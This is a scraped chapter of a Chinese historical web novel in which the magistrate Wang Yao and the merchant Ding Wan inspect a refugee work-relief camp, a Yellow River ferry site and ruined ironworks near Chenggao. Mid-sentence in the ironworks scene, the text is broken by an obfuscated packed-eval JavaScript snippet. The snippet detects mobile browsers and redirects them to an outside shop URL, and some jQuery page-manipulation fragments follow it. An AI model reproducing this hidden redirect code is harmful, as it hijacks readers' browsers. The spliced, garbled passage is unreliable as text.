默认冷灰
24号文字
方正启体

第229章 考察渡口工坊

作者:岭南黔首本书字数:K更新时间:
    翌日寅时三刻,天还未亮,马队便已出了县衙。


    王曜、**秋晴、丁绾各乘一马,李虎率十名亲兵护卫,杨晖、耿毅随行。


    众人轻装简从,只带了些干粮饮水,沿城北官道向黄河而去。


    此时晨光熹微,四野寂静,道旁村落尚笼在薄雾中。


    行出约三里,前方道旁出现一片新辟的营地,几十座茅屋整齐排列,屋前院子用矮篱笆围着,晨炊的青烟正从几处屋顶袅袅升起。


    “这是李成负责的流民安置点。”


    王曜勒马,对丁绾道:


    “今春河北战乱,成皋又生民变,前后收拢了八百余口。暂时安置在此,以工代赈。”


    丁绾望去,营地规划得井然有序。


    茅屋虽简陋,却行列整齐,中间留出宽阔的道路。


    空地上已有些早起的流民在活动,有人劈柴,有人打水,几个妇人在灶边忙碌。


    车队经过时,有流民认出王曜,停下活计拱手行礼。


    一个五六岁的孩童从屋里跑出来,赤着脚,裤腿挽到膝上,仰脸喊道:


    “县君!我爹说今天要去修路,管晌午饭哩!”


    王曜下马,走到孩童跟前,摸摸他的头:


    “你爹去修路,你在家做什么?”


    “俺娘让俺拾柴火!”


    孩童挺起小胸脯:


    “等新屋盖好了,县君来吃豆饭!俺娘说的!”


    王曜笑了:“好,等新屋上梁,我一定来。”


    他从马鞍旁的布袋里掏出两块麦饼,塞给孩童:


    “拿去,跟你娘分着吃。”


    孩童接过饼,欢天喜地跑回屋里。


    王曜翻身上马,见丁绾正望着营地出神,便道:


    “这些流民,多是河北逃难来的,也有本地因战乱失去田宅的。眼下县里以工代赈,让他们参与修路、筑墙、建码头,日给粟米二升,菜蔬若干。待工程毕,愿留者分给荒田,贷给种子;愿返乡者,资助路费。”


    丁绾点头,目光仍流连于那些茅屋:


    “这些屋子,也是他们自己盖的?”


    “是。”


    耿毅在旁接口:


    “县君拨给木料、茅草,流民中自有会手艺的,带着大伙儿一起干。李成在此督工,二十日便起了这七十间屋。”


    车队继续北行。


    丁绾回望营地,晨光渐亮,照得茅屋顶上的新草泛着金边。


    有汉子扛着锄头结队而出,似是去上工,脚步虽沉,面上却不见颓唐。


    她忽然想起洛阳城外那些流民**的窝棚,脏乱、绝望,如将死的兽群。


    而此处,虽同样清贫,却透着股活气。


    “以工代赈……”


    她轻声重复:“让流民有活干,有饭吃,有屋住,还能学手艺。这比单纯施粥放粮,高明得多。”


    王曜目视前方,语气平静:


    “人活着,总要有个盼头。闲着等救济,越等心越死;有点事做,能看到明日比今日好一分,这口气就吊住了。”


    随即他又苦笑道:


    “可若不能说动夫人盘活成皋这摊死水,我再以工代赈,怕也是有心无力了。”


    丁绾笑笑不再言语。


    晨风清冽,道旁田野间已有农人下地。


    早粟收毕的地里,农人正在翻耕,准备播种豆菽。


    见了王曜一行,有老农直起身拱手,王曜在马上还礼,偶尔问一句“豆种出芽了么”、“水渠通不通”,老农一一答了,言语朴拙,却透着亲厚。


    丁绾冷眼旁观,心中渐有分寸。


    行约半个时辰,天色渐明。


    前方传来隆隆水声,空气中弥漫着湿润的泥土气息。


    转过一片杨树林,眼前豁然开朗。


    黄河在此处拐了个弯,河面宽逾百丈,浊浪滔滔,向东奔涌。


    岸边长满芦苇,水鸟起落,远处有渔舟数点,在晨雾中若隐若现。


    王曜勒马,指向河湾一处:


    “那就是五社津。”


    丁绾望去,那是一处天然河湾,岸势平缓,水深且稳。


    岸边原有破败的木栈桥,如今只剩几根歪斜的木桩。


    滩涂上散落着朽烂的船板、生锈的铁钉,还有半埋沙中的石锚。


    “下去看看。”


    王曜翻身下马,众人随之。


    滩涂土质松软,混着贝砾。


    王曜蹲身抓起一把泥土,在指间捻了捻:


    “这是淤沙,底下两尺才是硬土。打桩时需先挖去浮沙,否则桩基不牢。”


    丁绾也蹲下细看,又起身望向河面:


    “水流看似平缓,实则暗流如何?”


    “问得好。”


    王曜招手,一名亲兵从马背上取下一捆绳索,绳头系着铁坠。


    他将铁坠抛入河中,绳索缓缓下沉,到某处忽然加快。


    “此处有暗涡。”


    王曜指着绳索倾斜的方向:


    “建码头时需避开,或加设分流桩。”


    丁绾点头,又问:


    “冬日冰情如何?”


    “我走访的老船公说,黄河这段,腊月封冻,冰厚尺余,至二月方开。码头需用耐寒木材,桩基入土要深,防冻拔。”


    说话间,杨晖已展开渡口规划图,铺在一块大石上。


    耿毅取来几块卵石压住图角。


    丁绾俯身看图,又抬头对照实地,时而以手虚划,时而步测距离。


    忽然,她指着图中一处:


    “这里,货栈区离水太近。若遇秋汛,河水暴涨,恐淹及货物。”


    王曜凝目看去,沉吟道:


    “夫人所言有理,可往后挪二十步,地势略高些。”


    “二十步不够。”


    丁绾摇头:“妾身看过县中水文记录,去岁秋汛,河水漫岸三十七步。货栈乃囤货重地,宁可远些,不可涉险。”


    她接过杨晖手中的炭笔,在图上修改标注。


    笔法干脆,线条清晰,竟似熟谙绘图。


    杨晖讶然:“夫人懂绘图?”


    “家父在世时,常带我看作坊、码头,教我看图识物。”


    丁绾淡淡道:“久病成医罢了。”


    王曜看着她修改后的图,眼中露出赞许:


    “就依夫人所言,勤声,记下。”


    杨晖忙应诺。


    众人又沿河岸走了里许,丁绾时而蹲下察看土质,时而询问过往船运情况。


    王曜一一解答,**秋晴在旁补充护卫事宜,何处设哨楼,何处布巡卒,何处建烽燧。


    日头渐高时,众人回到河湾处。


    王曜命亲兵取来干粮:


    麦饼、盐菜、肉脯,还有一皮囊清水。


    众人坐在树荫下用饭。


    丁绾吃得少,只掰了半块麦饼,就着清水慢慢咀嚼。


    她目光仍望着河面,似在盘算什么。


    饭后,王曜道:“夫人可还要看别处?”


    丁绾却问:“县君说的那个新码头选址,在上游二里?”


    “正是。”


    “现在去。”


    王曜微怔:“今日已走了大半日,夫人不累?”


    “商事如兵事,贵在神速。”


    丁绾起身:“看完新址,妾身心中才有全盘。”


    王曜不再劝,众人上马,沿河岸向上**去。


    新选址在一处更开阔的河湾,背靠土崖,前有沙洲缓冲水流。


    岸边有片废弃的晒网场,地面平整,长满荒草。


    丁绾下马勘察,足足看了两柱香。


    她让李虎用长竿探水深,让耿毅步测岸线长度,自己则蹲在土崖边察看岩质。


    最后,她站起身,拍了拍手上泥土。


    “此地确比五社津更佳。”


    她语气肯定:“岸稳水深,背风,且有现成平地可建货栈。只是……”


    “只是什么?”


    “土崖岩质疏松,若遇大雨,恐有滑坡之险。建货栈时,需在崖脚砌石护坡,所费稍增。”


    王曜点头:“此事曜记下了。”


    丁绾看着他:“县君不嫌妾身多事?”


    “夫人拾遗补缺,曜感激不尽。”


    王曜诚恳道:“实务之中,最怕便是‘想当然’,夫人所见,皆是曜未思及处。”


    丁绾微微一笑,不再多言。


    日头偏西时,众人启程返城。


    回程路上,再次经过那流民营地。


    此时景象与清晨又不同:


    空地上堆着新运来的木料、石料,数十名青壮正在夯土筑墙——那是在建新的安置屋。


    号子声、夯土声、锯木声交织一片,热火朝天。


    早间那孩童正在营地边拾柴,见了马队,用力挥手。


    王曜在马上微笑颔首回应。


    丁绾望着这热络的景象,轻声道:


    “县君这是……要以商事养民生呐。”


    “夫人慧眼。”


    王曜看向那片忙碌的营地。


    “成皋要活,不能只靠农桑。农桑是本,工商是血。血活了,周身才能活。”


    丁绾不再说话。


    暮色中,她望着王曜的侧影,望着那些流民眼中的专注,望着这片正在复苏的土地,心中某个角落,悄然松动。


    .......


    第三日,考察的是城南的铁官遗址。


    出城南门,沿山道行五六里,转入一处山谷。


    谷口狭窄,仅容两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181748|188792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    马并行,入内却豁然开朗。


    谷地约百亩,中有溪流穿过,水声淙淙。


    谷底散落着许多废墟:


    半塌的砖窑、倾倒的熔炉、锈蚀的铁砧,还有堆积如山的矿渣。


    荒草从砖缝中长出,藤蔓爬满残壁,一派荒凉。


    王曜下马,指着废墟道:


    “这里便是晋时铁官所在。永嘉后废弃,至今已近七十年了,之后虽经石赵、冉魏、前燕,乃至本朝,皆因战事不息或他种缘由,此间铁官终没有再造。”


    丁绾环视四周,缓步走入废墟。


    她蹲身察看矿渣,拾起一块在手中掂量,又凑近嗅了嗅:


    “这是赤铁矿渣,含铁量应当不低,矿从何处来?”


    王曜指向东面山壁:


    “那边有矿洞,晋时开采过的。一个月前我曾带老铁匠探查,洞已坍塌过半,但矿脉犹存。若重开,需先清理塌方,所费不赀。”


    丁绾起身,走到溪边。


    溪水清澈,她掬起一捧,仔细察看水质,又尝了尝:


    “水含铁腥,确是冶铁的好水。”


    她转身对杨晖道:


    “杨户曹,劳烦取图来。”


    杨晖展开工坊规划图。


    丁绾对照实地,在图上一一标注:


    何处建高炉,需避开水道,又要近水以便引水降温;


    何处设工棚,需考虑风向,避免烟尘扰民;


    何处堆料场,需地势高燥,防潮防涝。


    她看得极细,时而以步丈量,时而登高眺望。


    王曜跟在一旁,偶尔解说,大多时候只是静观。


    忽然,丁绾停在一处半塌的砖窑前。


    窑体以青砖砌成,高约丈五,窑门塌了半边,内壁烟熏火燎,积着厚厚的灰烬。


    她探头进去看了看,又敲了敲窑壁。


    “这窑还能用么?”


    王曜道:“我请老窑工看过,说是内膛尚好,修补窑门、清理烟道即可复用。一窑能烧青砖三千,若是全力开工,月产砖五万不在话下。”


    丁绾点头,又问:


    “烧砖的土从何来?”


    “谷外有黏土岗,土质颇佳。运土的车道需重修,约需百人工,十日可成。”


    “煤呢?”


    “洛阳西山有煤,陆运至此,每石运费十五文。若量大,可走黄河水运至五社津,再陆运十几里,运费可减三成。”


    丁绾默默心算,在纸上记下数字。


    众人继续往谷深处走。


    溪流在此处拐弯,形成一片浅滩。


    丁绾忽然驻足,指着对岸:


    “那里,可设皮革坊。”


    王曜顺她所指望去,对岸地势平坦,背风向阳,且近水源。


    “夫人何以选此处?”


    “皮革鞣制,需大量清水,又需晾晒场地。此处日照充足,水流平缓,取水排水皆便。且在下风口,气味不会扰及冶锻工坊。”


    她顿了顿,又道:


    “更紧要的是,离牲畜市近。成皋城南郊有牲畜市,牛皮、羊皮可直运至此,省却中转。”


    王曜眼中亮起:


    “夫人思虑周全。”


    丁绾淡淡一笑:


    “经商久了,算的都是细账。”


    日头当空时,众人寻了处树荫歇息。


    亲兵取来干粮饮水,还有今早从县衙带的几样小菜:


    盐渍蔓菁、醋拌灰灰菜、炙豆干。


    丁绾吃得依然少,却对那炙豆干多尝了两口:


    “这豆干……滋味特别。”


    王曜笑道:“是蘅娘的手艺,夫人不嫌便好。”


    丁绾点点头,不再多言。


    饭后,她独自走到溪边,望着流水出神。


    **秋晴走过来,递给她一竹筒清水:


    “鲍夫人有心事?”


    丁绾接过,轻声道:


    “我只是在想,这般大的摊子,要投多少钱粮,要担多少风险。”


    “夫人怕了?”


    “怕。”


    丁绾含笑坦然:“我身上担着丁、鲍两家数百口人的生计,一步走错,损失可不是一星半点。”


    她转头看**秋晴:


    “**县尉,你跟着王县君,就不怕么?”


    **秋晴嘴角一撇,浑不在意道:


    “怕有什么用?”


    她指向谷中废墟:


    “就像这里,荒了七十年。若永远怕投入、怕失败,那就永远荒着,总得有人先踏出第一步。”


    丁绾怔怔听着,忽然问:


    “你信他能成?”


    “我信他做事。”


    **秋晴语气坚定:


    “至于成不成……做了才知道。”


    丁绾久久无言。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)